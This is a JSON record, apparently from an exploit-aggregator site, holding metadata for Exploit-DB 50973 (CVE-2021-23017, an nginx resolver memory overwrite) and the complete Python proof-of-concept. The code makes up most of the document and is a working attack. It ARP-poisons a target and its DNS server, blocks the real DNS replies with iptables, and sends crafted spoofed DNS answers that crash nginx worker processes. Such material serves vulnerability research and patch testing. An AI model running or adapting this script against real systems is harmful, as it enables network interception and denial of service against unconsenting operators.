{"exploit":{"id":"EDB-50973","name":"Nginx 1.20.0 - Denial of Service (DoS) (PoC)","description":"Nginx 1.20.0 - Denial of Service (DoS) (PoC)","cves":["CVE-2021-23017"],"author":"Mohammed Alshehri","published":"2022-07-11","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50973","path":"exploits/multiple/remote/50973.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50973.py","vulnerabilities":[{"id":"CVE-2021-23017","state":"PUBLISHED","title":null,"titleSource":null,"description":"A security issue in nginx resolver was identified, which might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or potential other impact.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-23017","cvss":{"version":"3.1","baseScore":7.7,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-23017"},"updatedAt":"2024-08-03T18:58:26.413Z","retrievedAt":"2026-11-27T13:09:11.990Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50973.png?v=2","url":"https://exploitbin.com/exploits/EDB-50973","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50973/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50973/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)\n# Date: 2022-6-29\n# Exploit Author: Mohammed Alshehri - https://Github.com/M507\n# Vendor Homepage: https://nginx.org/\n# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0\n# Version: 0.6.18 - 1.20.0\n# Tested on: Ubuntu 18.04.4 LTS bionic\n# CVE: CVE-2021-23017\n# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn\n# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1\n# The service needs to be configured to use Nginx resolver\n\nfrom scapy.all import *\nfrom multiprocessing import Process\nfrom binascii import hexlify, unhexlify\nimport argparse, time, os\n\ndef device_setup():\n    os.system(\"echo '1' >> /proc/sys/net/ipv4/ip_forward\")\n    os.system(\"iptables -A FORWARD -p UDP --dport 53 -j DROP\")\n\ndef ARPP(target, dns_server):\n    print(\"[*] Sending poisoned ARP packets\")\n    target_mac = getmacbyip(target)\n    dns_server_mac = getmacbyip(dns_server)\n    while True:\n        time.sleep(2)\n        send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)\n        send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)\n\ndef exploit(target):\n    print(\"[*] Listening \")\n    sniff (filter=\"udp and port 53 and host \" + target, prn = process_received_packet)\n\n\"\"\"\nRFC schema\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|             LENGTH            |               ID              |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|            ANCOUNT            |            NSCOUNT            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|            ARCOUNT            |               QD              |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|               AN              |               NS              |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|               AR              |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\nFig. DNS\n\n\"\"\"\ndef process_received_packet(received_packet):\n    if received_packet[IP].src == target_ip:\n        if received_packet.haslayer(DNS):\n            if DNSQR in received_packet:\n                print(\"[*] the received packet: \" + str(bytes_hex(received_packet)))\n                print(\"[*] the received DNS request: \" + str(bytes_hex(received_packet[DNS].build())))\n                try:\n                    # \\/    the received DNS request\n                    dns_request = received_packet[DNS].build()\n                    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)\n                    print(\"[*] debug: dns_request[:null_pointer_index] : \"+str(hexlify(dns_request[:null_pointer_index])))\n                    print(\"[*] debug: dns_request[null_pointer_index:] : \"+str(hexlify(dns_request[null_pointer_index:])))\n                    payload = [\n                        dns_request[0:2],\n                        b\"\\x81\\x80\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\",\n                        dns_request[12:null_pointer_index+1],\n                        dns_request[null_pointer_index+1:null_pointer_index+3],\n                        dns_request[null_pointer_index+3:null_pointer_index+5],\n                        b\"\\xC0\\x0C\\x00\\x05\\x00\\x01\\x00\\x00\\x0E\\x10\",\n                        b\"\\x00\\x0B\\x18\\x41\\x41\\x41\\x41\\x41\\x41\\x41\",\n                        b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\",\n                        b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xC0\\x04\"\n                    ]\n\n                    payload = b\"\".join(payload)\n                    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\\\n                        UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\\\n                        payload)\n                    print(\"[+] dns answer: \"+str(hexlify(payload)))\n                    print(\"[+] full packet: \" + str(bytes_hex(spoofed_pkt)))\n\n                    sendp(spoofed_pkt, count=1)\n                    print(\"\\n[+] malicious answer was sent\")\n                    print(\"[+] exploited\\n\")\n                except:\n                    print(\"\\n[-] ERROR\")\n\ndef main():\n    global target_ip\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-t\", \"--target\", help=\"IP address of the target\")\n    parser.add_argument(\"-r\", \"--dns_server\", help=\"IP address of the DNS server used by the target\")\n    args = parser.parse_args()\n    target_ip = args.target\n    dns_server_ip = args.dns_server\n    device_setup()\n    processes_list = []\n    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))\n    exploitProcess = Process(target=exploit,args=(target_ip,))\n    processes_list.append(ARPPProcess)\n    processes_list.append(exploitProcess)\n    for process in processes_list:\n        process.start()\n    for process in processes_list:\n        process.join()\n\nif __name__ == '__main__':\n    target_ip = \"\"\n    main()","sha256":"2c6bc5572b7fdc21298a349af156e3f6dd7c22cf706ca6a8b8ee19e662ef7fc5","bytes":5197,"fetchedAt":"2026-11-27T13:09:09.816Z","encoding":"utf-8 (display only; download retains original bytes)"}